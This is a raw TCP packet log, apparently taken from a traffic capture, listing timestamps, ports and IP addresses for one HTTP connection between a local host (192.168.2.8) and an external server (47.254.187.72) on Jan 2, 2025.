Jan 2, 2025 20:20:02.289786100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.289798975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.289803982 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.289818048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.289834023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.289834976 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.289846897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.289859056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.289870977 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.289881945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.289886951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.289902925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.289911985 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.289915085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.289933920 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.289954901 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.289988041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.289999962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290019035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290030956 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290030956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290047884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290060997 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290060997 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290074110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290088892 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290091991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290101051 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290113926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290127993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290142059 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290148973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290160894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290170908 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290174007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290185928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290193081 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290200949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290216923 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290237904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290242910 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290256023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290268898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290278912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290293932 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290316105 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290352106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290364027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290374994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290388107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290396929 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290401936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290415049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290422916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290427923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290450096 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290469885 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290508032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290519953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290533066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290544033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290551901 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290555954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290569067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290570021 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290581942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290596008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290599108 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290613890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290647030 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290666103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290678978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290690899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290708065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290715933 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290725946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290738106 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290738106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290751934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290771961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290775061 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290792942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290793896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290806055 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290812016 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290818930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290832043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290839911 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290847063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290855885 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290887117 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290913105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290925026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290936947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290956974 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290977001 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.290985107 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.290990114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291002035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291022062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291023016 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291035891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291049004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291050911 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291062117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291073084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291085958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291100979 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291120052 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291141033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291183949 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291232109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291244984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291258097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291270971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291273117 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291285992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291302919 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291307926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291330099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291337967 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291342974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291356087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291359901 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291368961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291382074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291394949 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291404009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291414976 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291415930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291429043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291439056 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291440964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291455030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291466951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291501045 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291502953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291546106 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291584015 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291595936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291609049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291620970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291630983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291635036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291666985 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291683912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291686058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291697979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291717052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291728020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291729927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291739941 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291743994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291758060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291764021 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291771889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291779995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291785002 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291796923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291810036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291814089 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291825056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.291887999 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291887999 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.291999102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.292011023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.292025089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.292035103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.292048931 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.292057991 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.292094946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.367264032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.367317915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.367331028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.367341995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.367350101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.367357969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.367373943 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.367381096 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.367386103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.367398977 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.367419004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.367446899 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.367460012 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.380541086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.380597115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.380619049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.380654097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.380671978 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.380687952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.380702972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.380726099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.380734921 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.380778074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.380793095 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.380814075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.380832911 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.380851030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.380868912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.380886078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.380918980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.380942106 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.380963087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.380999088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381016970 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381032944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381050110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381056070 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381064892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381081104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381083965 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381104946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381117105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381124020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381130934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381145954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381160975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381160975 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381175041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381177902 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381186962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381202936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381208897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381220102 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381228924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381241083 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381243944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381256104 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381266117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381275892 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381279945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381292105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381298065 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381306887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381310940 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381321907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381334066 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381334066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381347895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381349087 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381369114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381370068 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381383896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381386042 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381401062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381412983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381421089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381428003 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381434917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381447077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381458044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381458044 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381464005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381479025 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381479025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381490946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381500006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381515026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381515026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381527901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381536007 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381542921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381545067 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381555080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381567955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381570101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381581068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381588936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381596088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381606102 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381609917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381623983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381625891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381637096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381649971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381649971 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381661892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381674051 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381675005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381689072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381695986 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381702900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381717920 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381725073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381726980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381747007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381757021 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381762028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381767988 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381776094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381788015 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381789923 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381799936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381809950 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381814003 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381827116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381833076 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381839037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381845951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381851912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381864071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381865025 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381881952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381881952 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381902933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381913900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381917000 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381928921 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381932020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381961107 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381962061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381979942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381989002 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381989002 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.381993055 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.381999016 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.382005930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382020950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382021904 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.382034063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382036924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.382049084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382055998 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.382064104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382077932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382090092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382091045 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.382091045 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.382103920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382107973 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.382117987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382129908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382129908 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.382170916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.382170916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.382306099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382318974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382330894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382342100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382354975 CET	80	49704	47.254.187.72	192.168.2.8
